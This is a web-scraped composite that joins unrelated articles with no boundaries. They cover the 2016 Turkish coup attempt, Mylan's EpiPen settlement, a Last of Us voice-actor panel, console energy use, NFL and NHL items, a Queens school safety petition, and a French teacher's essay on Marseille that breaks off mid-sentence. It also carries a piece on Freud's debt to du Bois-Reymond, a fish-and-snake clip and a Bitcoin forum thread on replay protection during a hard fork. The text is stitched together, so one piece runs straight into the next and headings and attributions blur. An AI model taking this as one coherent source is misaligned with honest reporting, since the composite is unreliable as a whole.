Reuters reporters saw a helicopter open fire in Ankara. Anadolu news agency said military helicopters had fired on the headquarters of the intelligence agency.
The coup had appeared strong early on Friday evening. A senior EU source monitoring the situation said: "It looks like a relatively well-orchestrated coup by a significant body of the military, not just a few colonels... They control several strategic points in Istanbul."
One European diplomat was dining with the Turkish ambassador to a European capital when guests were interrupted by the pinging of urgent news on their mobile phones.
"This is clearly not some tinpot little coup. The Turkish ambassador was clearly shocked and is taking it very seriously," the diplomat told Reuters as the dinner party broke up. "However it looks in the morning, this will have massive implications for Turkey. This has not come out of nowhere."
Turkey is one of the main backers of opponents of Syrian President Bashar al-Assad in that country's civil war, host to 2.7 million Syrian refugees and launchpad last year for the biggest influx of migrants to Europe since World War Two.
Celebratory gunfire erupted in Syria's capital Damascus after the army claimed to have toppled Erdogan. People took to the streets to celebrate there and in other government-held cities.
Read more: Celebrations in Damascus after Turkish army claims it has seized power
Turkey has been at war with Kurdish separatists and has suffered numerous bombing and shooting attacks this year, including an attack two weeks ago by Islamists at Ataturk airport that killed more than 40 people.
After serving as prime minister from 2003, Erdogan was elected president in 2014 with plans to alter the constitution to give the previously ceremonial presidency far greater executive powers.
Turkey has enjoyed an economic boom during his time in office and has dramatically expanded its influence across the region. However, opponents say his rule has become increasingly authoritarian.
His AK Party, with roots in Islamism, has long had a strained relationship with the military and nationalists in a state that was founded on secularist principles after World War One. The military has a history of mounting coups to defend secularism, but has not seized power directly since 1980.
IRISH CITIZENS IN TURKEY
There are fears that Irish citizens may become stranded in Turkey amidst an ongoing military coup after the country’s airports were closed tonight.
Irish model Judy Fitzgerald, who previously held the title of Miss Bikini Ireland, was in Istanbul when a number of military officers launched an unsuccessful coup.
Taking to Facebook the Limerick model posted a video of military men walking through the city armed with guns.
Read More:
Some 100,000 Irish people holiday in Turkey every year and there are currently 1,000 Irish living in Turkey.
A Turkish Airlines flight from Dublin to Istanbul landed in Turkey at around 10pm on Friday night.
Department of Foreign Affairs has updated the travel advisory for Irish citizens travelling to Turkey at this time.
"We are advising Irish citizens to avoid non-essential travel to Turkey at this time.
"The Department of Foreign Affairs and our embassy in Ankara are monitoring the evolving situation in Ankara and Istanbul where a heightened security presence and some incidents of violence are reported.
"The situation is unclear, and Irish citizens considering travel to Turkey are advised to delay travel until the situation becomes clearer.
Dublin native Maria Joyce, who runs the Annalivia restaurant in Istanbul, told independent.ie that Irish in the city had fears of missing flights back to Ireland tomorrow morning.
“We have an Irish wedding party in our resort at the moment and their main concern is that they won’t be able to get their flight home.
“There isn’t too much information on what is happening at the moment, and people in the restaurant are on their phones contacting their families.
“I wouldn’t say there is a sense of fear- it doesn’t seem that anybody’s life is in danger. The only fear is that flights will be cancelled and people could be stranded here. have been in contact with my family at home to tell them I am safe.
There isn’t any immediate danger in Istanbul, and we’re waiting for more information to come through,” Ms Joyce added.
Read more: Timeline of events: Turkey's attempted coup - what we know so far
'Not some tinpot little coup'
A senior EU source monitoring the situation said: "It looks like a relatively well orchestrated coup by a significant body of the military, not just a few colonels. They've got control of the airports and are expecting control over the TV station imminently. They control several strategic points in Istanbul.
Read more: Coups and plots in Turkey over past 50 years
"Given the scale of the operation, it is difficult to imagine they will stop short of prevailing. It's not just a few colonels," the source repeated.
One European diplomat was dining with the Turkish ambassador to a European capital when guests were interrupted by the pinging of urgent news on their mobile phones.
"This is clearly not some tinpot little coup. The Turkish ambassador was clearly shocked and is taking it very seriously," the diplomat told Reuters as the dinner party broke up. "However it looks in the morning, this will have massive implications for Turkey. This has not come out of nowhere."
Travel advisory
France asked its citizens in Turkey to stay indoors, a French diplomatic source said.
"A message was sent saying that serious events were taking place in Ankara and Istanbul," said a French diplomatic source.
"French citizens have been asked to stay inside."
US State Department's travel alert tells US citizens in Turkey to shelter and stay indoors.
President Barack Obama was briefed on what the White House called "the unfolding situation" in Turkey, a NATO partner and ally for the United States in the fight against the militant group Islamic State.
Read more: Attempted coup in Turkey carried live on social media despite internet blockages
"The president's national security team has apprised him of the unfolding situation in Turkey," Ned Price, a spokesman for the White House National Security Council, said in a statement.
"The president will continue to receive regular updates," Price said.
US Secretary of State John Kerry said he emphasised the United States' "absolute support" for Turkey's democratically elected, civilian government during a phone call with Turkish Foreign Minister Mevlut Cavusoglu.
"I spoke this evening to Foreign Minister Cavusoglu and emphasized the United States' absolute support for Turkey's democratically elected, civilian government and democratic institutions," Kerry said in a statement, adding that Washington viewed the situation in Turkey with the "gravest concern".
US Democratic presidential candidate Hillary Clinton said she supported Turkey's civilian government as it faced an attempted coup.
Clinton said in a statement she was following the events in Turkey "with great concern."
"We should all urge calm and respect for laws, institutions, and basic human rights and freedoms - and support for the democratically elected civilian government," she said.
Turkey has closed the three border crossings with Bulgaria, the Bulgarian Foreign Ministry said, reiterating its appeal to Bulgarians to avoid any travels to the country's southern neighbour.
The border crossings from Bulgarian side remain open, the ministry said in a statement.
The government said it has bolstered patrols on the Bulgarian-Turkish border following the unfolding developments there.
Turkey lira slump
Reports of the coup attempt also stoked safehaven bids for U.S. Treasury bonds, paring their earlier losses.
The Turkey lira was last down 5pc at 3.0300 lira per dollar.
"Have you seen the latest headlines on Turkey? That probably has something to do with it. This dollar surge is very much headline-driven," said Vassili Serebriakov, currency strategist at Credit Agricole in New York.
Additional reporting from agencies
Online EditorsIn a settlement announced Friday, Mylan, Inc., the maker of EpiPens, will shell out $465 million to the US Department of Justice and other federal agencies to brush aside any questions about its Medicaid rebates.
As Ars reported last week, the Centers for Medicare and Medicaid Services (CMS) announced that, by misclassifying EpiPens for years, Mylan has been stiffing federal and state governments out of millions of dollars’ worth of rebates. The CMS said that it had notified Mylan of the mistake “on multiple occasions” since 2007, when the company bought the EpiPen from Merck.
In the meantime, Mylan hiked the price of the life-saving devices on 15 separate occasions, reaching an increase of more than 500 percent. An EpiPen two-pack now goes for more than $600, while a nearly identical single pen was around just $50 in 2007. The steep rise in price has drawn outrage and scorn from the public and lawmakers.
With the $465 million settlement, Mylan hopes to improve its public image. However, as part of the agreement, the company said it would not fess up to any wrongdoing.
In a statement, Mylan CEO Heather Bresch said:
This agreement is another important step in Mylan's efforts to move forward and bring resolution to all EpiPen Auto-Injector related matters. The agreement is in addition to the significant steps Mylan has taken in relation to EpiPen Auto-Injector over the past several weeks, including the unprecedented, pending launch of a generic version of EpiPen Auto-Injector and expansion of our patient access programs for this product. Entering into this settlement is the right course of action at this time for the Company, its stakeholders and the Medicaid program.
The disagreement between the CMS and Mylan centers around how to classify EpiPens under the Medicaid Drug Rebate Program, which requires drug makers to offer the government rebates if their drugs are covered by Medicaid and Medicare. According to the CMS, EpiPen, which currently has no generic version and is under patent protection, is clearly a brand name, single-source drug. As such, the Medicaid Drug Rebate Program requires Mylan pay a rebate of 23.1 percent to the government. Also, Mylan would be required to cough up extra rebates any time it raised the price of its brand name drug at a rate higher than inflation, which it did—15 times.
But, Mylan reported to the CMS that the EpiPen is a generic. As such, the company has only been paying 13 percent rebates and not shelling out anything after price hikes.
Although the government has not released an estimated total of how much Mylan underpaid, the Minnesota Department of Health estimates that Mylan cost that state alone $4.3 million just in 2015.
Under the terms of the settlement with the DOJ, Mylan will be clear of any liability claims by the federal and state governments related to EpiPens classification and rebates.The Last of Us is generally regarded as one of the best games ever made, having been showered in awards for both technical and narrative achievement by gaming and writing associations alike. The game was made by Naughty Dog, Sony Computer Entertainment’s premiere first party studio. The company has a long history of making games of high quality, from the story to the gameplay to the visuals and the sound. Featuring one of the most talked about stories in gaming, The Last of Us was bolstered by new hotshot director Neil Druckmann, along with more than their fair share of talented voice actors. The two leads, Troy Baker and Ashley Johnson, held a panel at MomoCon 2014 this past weekend in Atlanta.
Having seen several interviews with the duo, I was not prepared for how emotionally draining the hour-long panel would be. Especially considering that the host, IGN’s Greg Miller, is known for his class-clown antics. One moment, they’re discussing how lighthearted their time on set could be despite the darkness and heaviness of the script. The next? Ashley’s crying, Troy struggling to put his thoughts together. It was apparent throughout the duration of the panel that the project means a lot to the two actors, who describe each other as brother and sister.
First and foremost, Baker, who plays Joel in the game, described his experience in joining the project. After auditions had concluded and the parts were handed out, Baker recalls telling Johnson that “if this game fails, it’s because of us.” He reasoned that the game’s script, Druckmann’s vision, and the pedigree of the studio were all rock solid. He knew from the beginning that The Last of Us was going to be a “benchmark game.”
He went on to praise Druckmann and co-director Bruce Straley for being very open during the process. There was a lot of time spent on “conversations offsite and after hours” working on the characters. Recalling the shooting and subsequent reshooting of one difficult scene, Baker said that he was “eternally grateful to Neil” for showing him “what kind of actor [he] could be.” He says that it was one of the greatest moments for him as an actor. With great conviction, he concluded by claiming that Neil Druckmann was “the best director [he’d] ever worked with.”
Switching gears to the “Left Behind” downloadable content for the game, Ashley was asked if she always knew that her character, Ellie, was gay. The answer was no — she didn’t know until about halfway through the production of the game. She had never factored in the “sexual preference” of her character. That said, she was very supportive of the decision. Ashley’s emotional moment at the panel came when she described a YouTube video in which a fan said that, had the game come out when she was in her teens, it would have helped her get through tough times. To lighten the mood, she jokingly blamed the autograph schedule – and the similar stories she had heard just prior to the panel – for her emotions coming out.
The toughest moment for the panel – and the crowd – came when a father of three approached the microphone during the Q&A section. He began by explaining that the game was given to him as a father’s day present; the horror on Troy’s face said it all. The man then went on to say that the game had profoundly affected the way that he approached his role as a father, asking Troy if it had done the same for him. Baker, uncharacteristically, fumbled over his words before agreeing.
I can’t even begin to describe how enlightening this panel was. Everyone in the room had been, in some way, affected by the game, the direction, and the performance of the actors. If there’s ever any question about the validity of gaming as a story-telling medium, this is the answer.SAN FRANCISCO (May 16, 2014) – The latest-generation game consoles are on track to cost American consumers $1 billion annually in utility bills—$400 million of that in standby mode when no one is using them—and devour enough electricity to power all the homes in the nation’s fourth-largest city of Houston, according to a report released today by the Natural Resources Defense Council.
NRDC’s extensive testing and analysis shows the new Microsoft Xbox One is the biggest energy user of the three most popular consoles, largely due to its voice command feature in standby mode, followed by the Sony PlayStation 4 with its inefficient controller charging. Although these consoles have incorporated important energy-saving features, in large part at NRDC’s urging, their expanded capabilities result in annual electricity consumption two to three times higher than the most recent models of their predecessors. In comparison, the Nintendo Wii U is an energy sipper.
“Gamers shouldn’t be locked into higher electric bills for the lifetime of their consoles just because manufacturers haven’t optimized the performance of their products,” said Pierre Delforge, NRDC director of high-tech energy efficiency, whose team performed the testing. “This wastes energy and money, and causes unnecessary pollution from power plants.
“But if Microsoft and Sony follow NRDC’s recommendations, they could cut the new consoles’ electricity use by one-fourth beyond current projections through software and hardware optimizations, saving U.S. consumers $250 million on their annual utility bills and enough energy to power all the households in San Jose, America’s 10th-largest city,” he said.
An estimated 110 million game consoles have been sold in the United States since 2005—almost enough to have one in every home—and they consume several power plants’ worth of electricity every year. Once all prior generation consoles are replaced, the new models collectively will use approximately 10 billion kilowatt-hours of electricity annually, enough to power all of Houston’s homes.
Key findings from NRDC’s analysis include:
The newest consoles gobble more energy in standby mode and when showing videos than playing games, over a year.
Almost half of the Xbox One’s annual energy consumption occurs when no one is using it, but it’s listening for users to say “Xbox on” even in the middle of the night or when no one’s home.
If all U.S. Xbox One owners use their consoles for TV watching, it would add $300 million to their yearly energy bills.
The PS4 and Xbox One use 30 to 45 times more power to stream a movie than dedicated media players (such as Apple TV or Google Chromecast).
The report is at https://www.nrdc.org/resources/latest-generation-video-game-consoles-how-much-energy-do-they-waste-when-youre-not-playing.
Delforge’s blog is at https://www.nrdc.org/experts/pierre-delforge/latest-generation-video-game-consoles-how-much-energy-do-they-waste-when. Additional graphs are available.Julius Peppers has been the highest-paid defensive player in football, a finalist for the Defensive Player of the Year award and an eight-time Pro Bowl selection.
Watch "The Top 100 Players of 2014" every week at 9 p.m. ET on NFL Network as we count down to the top player in the NFL. "The Top 100 Players of 2014 Reactions" airs Wednesdays at 10 p.m. ET.
As accomplished as Peppers' 12-year career has been, one thing he has never enjoyed is a talented edge-rushing sidekick. That will change now that he's playing opposite Clay Matthews with the Green Bay Packers.
"I haven't really played with a guy like Clay, really, my whole career," Peppers said, via ESPN Wisconsin's Jason Wilde. "Early in my career I played with a guy, Mike Rucker, who was a threat on the other side. But like, a really dominant player on the outside? I really haven't had that -- ever. I'm excited to get out there with him and see what he can do."
Peppers will have to exercise patience. Matthews expects to be full-go for training camp, but he has yet to participate in offseason practices while recovering from December tendon-transfer surgery in his thumb.
The Packers have high hopes for Peppers -- whom they firmly believe is still in his prime -- in the "elephant" role, which plays outside linebacker, defensive end and even inside depending on the down and distance.
The team has even bigger plans for Matthews in a new, covert defensive scheme.
"With the plans they see me having this year and the type of player they see me becoming, I think it's great the changes that we're putting in -- not only with the personnel, (but also) the scheme," Matthews explained. "I'm really looking forward to it. I think it's a shot in the arm and will provide kind of a little rejuvenation to this team, especially to the defensive side of this locker room."
With Matthews and Peppers coming off the edge, Datone Jones and Mike Daniels emerging at defensive end and several major reinforcements for the secondary, Dom Capers' defense might just be the NFL's most improved unit this season.
The end to the latest Around The League Podcast is full of shock and awe.Parents, faculty and staff from three schools sharing the same building in Flushing are petitioning for a crossing guard at a dangerous neighboring intersection.
The Adrian Block campus, located at 34-65 192 St., houses three different schools: I.S. 25, the World Journalism Preparatory School (WJPS) and P233 — a District 75 school for children who are severely handicapped. Over 1,000 children ages 10 to 18 attend the schools within the campus.
The petition calls for a crossing guard at the intersection of 192nd Street and 35th Avenue, where there is currently a four-way stop. Recent accidents involving students outside of a neighboring school — which were followed up with a rally organized by parents and local politicians calling for “safer streets” — were among cited concerns.
“Children, parents and staff have been hit by cars by our school as well,” the petition reads. “Most on the corner of 192nd Street and 35th Ave. There is no light at this corner and no assigned crossing guard.”
The petition was published about two months ago and currently has 439 signatures — 61 away from its 500-signature goal. It will be delivered to the NYPD and the 111th Precinct.
“I have seen many near misses with kids crossing,” petition supporter Christine Ubertini wrote. “Too many cars in a hurry and do not give the kids right of way!”
WJPS parent coordinator Helen Reed echoed these concerns.
“That intersection is a four-way intersection and only has stop signs,” Reed said. “And I would say most pedestrians don’t understand they have the right of way in that situation.”
Reed said there is currently only one crossing guard stationed outside of the school, who is posted at 35th Avenue and Francis Lewis Boulevard.
“Francis Lewis Boulevard is a major roadway, so she is very busy over there,” Reed said.
Reed explained the campus has instituted staggered dismissal times and dismisses students from three different locations in an effort to alleviate traffic congestion. Still, she said, more needs to be done; careless drivers, coupled with heavy car and school bus traffic, make for dangerous pedestrian conditions at the site.
Interim-acting principal of WJPS Janine Werner voiced concerns about the hazardous traffic conditions to local authorities at the latest 111th Precinct Community Council meeting on Wednesday, Jan. 4.
“We’ve got anywhere from 1,000 to 1,500 kids exiting and entering the building, and it’s a particular issue at dismissal,” Werner said. “We’ve had kids hit, parents hit. Consternation is every day with people beeping at each other. But it’s really a safety concern … We’ve got hundreds of kids coming out every day, and every day we just kind of cross our fingers for 15 minutes hoping that nothing goes wrong.”
The 111th Precinct’s commanding officer, Deputy Inspector William McBride, listened to Werner’s concerns and told her the precinct would look into the situation.
In addition to petitioning for another crossing guard, Reed said parents and faculty at the school are looking into applying to the Department of Transportation (DOT) for one-way streets and speed bumps in certain areas surrounding the school.
“We would take anything that would slow the traffic down,” Reed said.Photos d'illustration des quartiers nord de Marseille ; Ali Assoumani/VICE.com
Alors que le soleil et les cagoles font un retour remarqué dans les rues de Marseille, j'achève ma première année en tant que professeur des écoles dans les quartiers nord, dans une de ces zones de sécurité prioritaires. J'avais demandé à être affecté « là où ça craignait », et je dois dire que j'ai été servi. J'enseigne dans un quartier où le taux de chômage atteint les 88 % et où il règne une loi de la Kalach. Après près d'un an de bons et loyaux services, je peux dire que cette expérience a violemment changé mon regard sur la société.
La cité qui borde mon école compte 5 000 habitants et offre chaque jour à peu près autant d'emmerdes. Elle a aussi la puante singularité d'être considérée comme une des plus sales d'Europe – elle doit cette réputation à une époque pas si lointaine où les habitants, faute de poubelles, avaient pris pour habitude de jeter leurs ordures par la fenêtre.
Ici, l'horreur fait partie du quotidien. Ce n'est pas un cliché. Si la plupart du temps la violence reste confinée à l'intérieur des cités, il arrive qu'elle déborde. C'est d'ailleurs ce qui a failli se passer en décembre dernier dans une école de La Castellane. Tout est parti d'une histoire de singe nourri aux Kinder Bueno par les jeunes du quartier. En grandissant, la bestiole est devenue folle, terrorisait tous les enfants du quartier, les griffait et les mordait. Elle s'est longtemps baladée dans les collèges et lycées des alentours jusqu'à se faire enfermer dans les toilettes par une directrice d'école primaire. Quatre jeunes du quartier ont débarqué cagoulés pour tenter de la récupérer, et s'en est alors suivi un monumental bordel : les brutes ont menacé de tout brûler et ont saccagé les lieux à tel point que la directrice a été obligée de céder devant les enfants, dont certains étaient en pleurs. Un soir, elle s'est faite longuement poursuivre en guise d'intimidation. Quant au primate, il sera finalement tasé et capturé par la police quelques semaines plus tard.
Mon école me permet d'être aux premières loges pour comprendre de nombreux fragments de notre société, et notamment le pourquoi du comment des cailleras, l'échec scolaire comme autoroute vers la délinquance, les destins qui se brisent et qui créent des mecs à enfermer mais aussi la reproduction sociale – théorie de Bourdieu selon laquelle la position dans l'échelle sociale se transmet d'une génération à l'autre comme un héritage. Et là, pas de bol, parce que les ascendants de ces minots sont de braves gens qui n'ont souvent que la poisse à transmettre.
Ce sont pour la plupart des chômeurs respectueux et plus que sympas, mais désespérés et parfois désespérants. Par exemple, quand une maman d'élève qui habite juste en face de l'école sort au balcon pour fumer sa clope du réveil, je sais qu'il y a des chances de voir – enfin – son môme débarquer en classe. Le problème, c'est qu'elle attend parfois midi pour se réveiller – et donc pour réveiller son fils.
La théorie de Bourdieu est fataliste. Tout mon boulot consiste à le désavouer, mais parfois le quotidien des élèves me pousse au mieux vers une constante indignation, au pire à une indifférence cynique face aux coups de putes de ces destins qu'on croirait pondus par l'auteur de Game Of Thrones un lendemain de biture. On trouve notamment celui qui n'a pas de parents et qu'on découvre battu par son oncle ou encore celle dont le frère est mort dans une fusillade et qui va rentrer à l'heure du goûter pour découvrir que son père est en prison. Il y a aussi les enfants sans-papiers qui peuvent laisser leur chaise de cours vide d'un jour à l'autre, et les roms qui te regardent avec de grands yeux quand tu leur parles de choses simples comme un matelas ou une télévision.
J'ai aussi des collègues qui ont vu débarquer des réfugiés syriens ou tchétchènes dans leur classe réservée aux nouveaux arrivants non-francophones. Quand tu les vois dans la cour, tu ne peux t'empêcher d'imaginer à quoi a pu |
series begins with the Maple Leafs against the Red Wings at Michigan Stadium in Ann Arbor on Jan. 1. Craig tells Sports Illustrated that he’s hoping for a “party house,” and he may get one. “Michigan, because it is the Big House, it will be absolutely amazing to stand out on that field and have 110,000 screaming fans,” he says. “I can’t imagine that, as a hockey player. They will get jacked right up.”
After the cold of Michigan, the NHL will head to Los Angeles, putting an ice rink amidst the palm trees in Chavez Ravine for the game between the Kings and the Ducks at Dodger Stadium on Jan. 25. To counteract the affects of the Southern California heat -- the puck is scheduled to drop at 6:30 p.m. PT -- thermal blankets will be laid over the entire sheet of ice during the day to keep the sun off the surface.
There are two more games in January — the Rangers play twice at Yankee Stadium, against the Devils on the 26th, and against the Islanders on the 29th — followed by a March 1 game between the Penguins and the Blackhawks at Chicago’s Soldier Field. The Senators play the Canucks at Vancouver’s BC Place on March 2.
What does Craig hope for in all these scenarios? Forty-five degrees Fahrenheit and overcast skies. “If I get rain it is going to be a challenge,” he says about the potential for puddles and soggy ice. “Bright sunshine is a challenge.” Bright sun not only degrades ice, but it also affects players' ability to see.
Before dealing with game-day weather worries, however, Craig’s team needs to actually build outdoor rinks in the middle of stadiums. Football fields are crowned and baseball diamonds can slope. To improve sightlines in MLB venues for spectators, the rink stretches from first base to third. In football stadiums, it sits dead center on the fields. Any slopes — such as the six-inch drop from first to third at Wrigley Field in 2009 — are offset by building up the rink’s subfloor.
After the subfloor is built, 243 ice tray panels, each 28.5-feet-long by 30-inches-wide, go under the ice. The panels have a loop of 3,000 gallons of glycol coolant constantly running to keep the ice a perfect 22 degrees Fahrenheit. The coolant also flows through a mobile rink-refrigeration device -- a 53-foot-long, 300-ton unit, located on site. The NHL rolled out its second of these in December to handle the Michigan, L.A. and Vancouver games.
To create the ice, Craig’s team spends up to 10 days misting 20,000 gallons of city tap water until it becomes a two-inch thick sheet, which is nearly a full inch thicker than a sheet in an indoor arena to allow for weather-related evaporation. Craig uses thermal blankets near the sideboards, where sun glare can warm the ice, to keep it fresh for the game.
About 350 gallons of water-soluble paint keeps the surface of the sheet white, and Craig embeds 16 Eye on the Ice sensors to provide real-time data about ice conditions. But even with all of the high-tech monitoring and planning, there’s still one thing that could potentially cut the league's planned six outdoor games down to five: Vancouver's BC Place has a facility rule — which supersedes any NHL wishes — requiring the retractable roof to be closed during rain to protect the stadium’s interior.
It's safe to say that, whether it's a roof closure or wishy-washy ice outside, the NHL isn’t a fan of precipitation.
You can check out an illustrated account of the stadium plans in the Dec. 30 edition of SI magazine.
Tim Newcomb covers stadiums, design and technology for Sports Illustrated. Follow him on Twitter at @tdnewcomb.In a recent column I wrote: “In spite of all the blows dealt to our egos by science—beginning with the demonstration that the Sun and not the Earth is the center of the Solar System—many of us remain convinced that this universe was created for us, and that our destiny is unfolding according to a pre-ordained divine plan.”
The notion that heliocentrism was a blow to humanity’s narcissism is commonly attributed to Freud. But after reading my column, my buddy Gabriel Finkelstein, a historian of science at the University of Colorado, Denver, informed me that Freud got the idea from the 19th-century German physiologist-polymath Emil du Bois-Reymond, about whom Gabriel wrote a terrific biography. (See this 2013 interview with Gabriel about his book.) As Gabriel details below, Freud was well aware of du Bois-Reymond’s work, as were other pioneers of mind-science. But first, consider this quote from Freud’s A General Introduction to Psychoanalysis (delivered as lectures 1915-1917 and first translated into English in 1920):
“Humanity has in the course of time had to endure from the hands of science two great outrages upon its naive self-love. The first was when it realized that our earth was not the center of the universe, but only a tiny speck in a world-system of a magnitude hardly conceivable; this is associated in our minds with the name of Copernicus, although Alexandrian doctrines taught something very similar. The second was when biological research robbed man of his peculiar privilege of having been specially created, and relegated him to a descent from the animal world, implying an ineradicable animal nature in him: this transvaluation has been accomplished in our own time upon the instigation of Charles Darwin, Wallace, and their predecessors, and not without the most violent opposition from their contemporaries. But man's craving for grandiosity is now suffering the third and most bitter blow from present-day psychological research which is endeavoring to prove to the ‘ego’ of each one of us that he is not even master in his own house, but that he must remain content with the veriest scraps of information about what is going on unconsciously in his own mind. We psychoanalysts were neither the first nor the only ones to propose to mankind that they should look inward; but it appears to be our lot to advocate it most insistently and to support it by empirical evidence which touches every man closely.”
I love how Freud narcissistically suggests that his blow to our narcissism is mightier than those delivered by Copernicus and Darwin. Now compare Freud’s comments to the eulogy, “Darwin and Copernicus,” that du Bois-Reymond gave in Berlin after Darwin’s death of Darwin in 1882 (reprinted in Nature in 1883):
“Darwin seems to me to be the Copernicus of the organic world. In the sixteenth century Copernicus put an end to the anthropocentric theory by doing away with the Ptolemaic spheres and bringing our earth down to the rank of an insignificant planet. At the same time he proved the non-existence of the so-called empyrean, the supposed abode of the heavenly hosts, beyond the seventh sphere, although Giordano Bruno was the first who actually drew the inference. Man, however, still stood apart from the rest of animated beings— not at the top of the scale, his proper place, but quite away, as a being absolutely incommensurable with them. One hundred years later Descartes still held that man alone had a soul, and that beasts were mere automata… [After On the Origin of Species] all things were seen to be due to the quiet development of a few simple germs; graduated days of creation gave place to one day on which matter in motion was created; and organic suitability was replaced by a mechanical process, for as such we may look on natural selection, and now for the first time man took his proper place at the head of his brethren… Though many links are still missing, we may fairly consider the knowledge of the existence of primeval man as the beginning of the long-looked-for connection between him and the anthropoids on the one hand, and between them both and their common progenitors on the other.”
Finkelstein adds the following comments on du Bois-Reymond’s influence on Freud and others:
“Freud planned to study with du Bois-Reymond but never made it to Berlin. Instead, he studied in Vienna with the professor of physiology at that university, Ernst von Brücke, who was du Bois-Reymond's best friend. Brücke was another mechanist physiologist (like du Bois-Reymond) from Berlin who had trained with Johannes Mülller; as students in 1842 he and du Bois-Reymond swore their famous pact to reject vitalist explanations in biology. Freud read du Bois-Reymond's popular essays on science and culture, including ‘Darwin and Copernicus,’ du Bois-Reymond's short obituary address, which was the source of Freud's trope.
“William James actually did make it to Berlin in 1867 to study neurophysiology with du Bois-Reymond, but he couldn't hack it and quit his studies. He also chafed under du Bois-Reymond's mechanism, and most of his early essays refer to du Bois-Reymond in some way. Wundt didn't study with du Bois-Reymond, but he did with his other close Berlin friend, Hermann von Helmholtz, who started his career in Berlin as another mechanist physiologist. Finally, Pavlov didn't study with du Bois-Reymond, but was inspired by du Bois-Reymond's student, Ivan Sechenov, sometimes called the father of Russian physiology. Sechenov discovered neural inhibition in 1863 in du Bois-Reymond's lab. So du Bois-Reymond had a direct or indirect influence on the four founders of the discipline of psychology. All from a guy who said that we would never understand the mind" (see Addendum).
Finkelstein says that—to be fair to Freud--du Bois-Reymond “got most of his good ideas from people before him. I guess the moral is a) good ideas are timeless b) it's very hard to come up with anything new.”
Addendum: I didn’t get my idea for my book The End of Science from du Bois-Reymond, but I should have, because he wrote extensively—and presciently—about the limits of science. For more on his career, see Emil du Bois-Reymond: Neuroscience, Self, and Society in Nineteenth-Century Germany, by Gabriel Finkelstein. MIT Press. Also check out his 1874 essay “Limits of Our Knowledge of Nature,” The Popular Science Monthly. It spells out what philosopher Owen Flanagan has dubbed the mysterian perspective, which holds that consciousness is not solvable. 141 years later, mysterianism is as viable as ever.Andy Warton got a surprising two-for-one-deal when he was fishing around Melville Island in Australia’s Northern Territory.
“This is a cod and it’s got a snake in its mouth…. He’s just eaten it! Ain’t that incredible,” you can hear the person say from behind the camera in their video posted to YouTube by Caters Clips.
After removing the lure and plucking the snake from the cod's mouth, they released the fish back into the waters and it appeared to swim off. The snake might not look in the best of shape, but Warton told The Mirror that the snake was still alive.
He added: "I've seen crocodiles eat pigs and eagles, I've had big barramundi stolen by sharks, but up until this experience, I've never seen a fish with a fresh snake in its belly.”If BTU hard forks in the future and we have two blockchains and if I want to spend all my coin in the BTU blockchain only, how can I do this with Armory since it runs on Bitcoin Core? Do I need to export my private keys and use them on some wallet that runs on BTU to be able to spend the coin on that chain or some other method? I could use your guidance on the proper way to do this and any other advice for this situation.I read this interesting article about the potential hard fork: http://bitcoinist.com/prepare-bitcoin-hard-fork/ This comment in the article is what inspired me to ask this question:"Keeping your bits on your own personal wallet, in which you control the private keys, is advised, as this would ensure that your coins are credited on both blockchains.One could then access the BU coins via the Bitcoin Unlimited client and the original chains coins via any wallet that supports Bitcoin Core. Keeping coins on an exchange is not recommended."I am a 100% Bitcoin Core and want to keep it that way.-Ondart
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ModeratorLegendaryActivity: 2128Merit: 1111Armory Developer Re: BTU Hard Fork Inquiry March 22, 2017, 11:51:10 AM #4 1) If you control the private keys, you will have the associated coins on both chains post fork.
If you have IOU at an exchange (or any service provider for that matter), they hold the private keys, hence they get the mirrored coins. At this point there is no knowing if/when the exchange will credit you with coins on the other fork, and which fork they will decide run as their main.
The other issue is the possibility to being exposed to a hasty, untested implementation of the coin split. Coinbase dropped the ball during the ETH/C HF, you can research that event if you want to know more.
Lastly, if BU aggressively attacks the Core chain (mining empty blocks, forcing reorgs), they will effectively hamstring the Core chain's capacity. From your perspective, there is no knowing when your deposits and withdrawals will confirm. From the exchanges' perspective, they will have to use very liberal confirmation count to credit/draw your balance against on chain operations (possibly days).
My position is that it is preferable to move your coins out of exchanges before a fork, let the dust settle, then figure out where you want to trade.
There is a chance you get to pick an exchange that's prepared, has ample coin and let's you trade the forks on day 1. But then again, they risks remain: withdrawal turmoil and running unseasoned code.
Last but not least, BU has no wipeout protection. If the Core chain ever catches up BU in work, the BU fork gets wiped out. This does not happen the other way around, so there is actually quite some liability to list a BU balance, since the underlying coins could disappear the next day. This leads me to believe exchanges won't list BU coins for a while in the event of a fork.
2) I got my coins and want to use them separately on each chain, what do?
There are 2 sides to this coin (see what I did there!):
a) Armory:
The DB builds off of on disk chain data and does not enforce consensus rules. In other words, any client that uses the same block data format and magic word as Core is compatible with Armory. From your perspective, running Armory against the BU chain will show you your BU balance, and vice versa.
Know that Armory (naturally) applies chainwork rules, and that it ignores all data on shorter forks. Again, from your perspective, it means that in the case of a BU fork, running the BU client against your Core block data will make Armory blind to the Core chain.
In practice, this means that to be able to interchange seamlessly between your Core and BU transaction history, you need 2 copies of the chain, one for the Core chain and one for the BU fork. Same goes with the Armory DB, as it is intimately tied to the underlying block data. However, you do not need to rescan the BU chain to get the copy of Core DB to work off of it.
To summarize, you need:
- 1 copy of the chain to run exclusively against the Core client, with the associated Armory dbdir.
- 1 copy of the chain to run exclusively against the BU client, with associated Armory dbdir.
You can swap between the 2 by pointing Armory to the relevant pair of block data folder (--satoshi-datadir) and database folder (--dbdir).
b) Tainting your coins:
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If you know what tainting is, you can skip this part.
If a transaction you create on one chain is valid on the other, the recipient of your payment can replay the same transaction on the other chain to pocket your coins there as well. This is called the replay attack.
At the same time, BU has made it clear they don't intent to implement replay protection, and have no plan to change their P2P port from Core's, so these transaction will be present in both mempools to begin with (as they will propagate to both chains, since the P2P networks overlap).
The solution at the user level is to "taint" your coins, i.e. you want to get a transaction on one chain that isn't valid on the other. Once you have that, you can mix all of your remaining coins with the "tainted" output to the same effect. At this point none of your utxos on the one chain are valid on the other, which guarantees your txs aren't replayable.
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Tainting on BU is actually fairly easy. They want to increase the block size limit and reduce tx fees. At the same time, the departure of hash power from the main chain will result in slower Core blocks (i.e. less capacity, thus higher fees).
Hence, the simplest way to taint on BU is this:
Code: - Create a transaction sending coins back to yourself, with a fee low enough such that it will quickly mine on BU but has no real chance of mining on Core.
- Once the tx is mined on BU, RBF the underlying output on the Core chain with a nice fee. This tx can only mine on Core now since it is invalid on BU (to which it appears as a double spend).
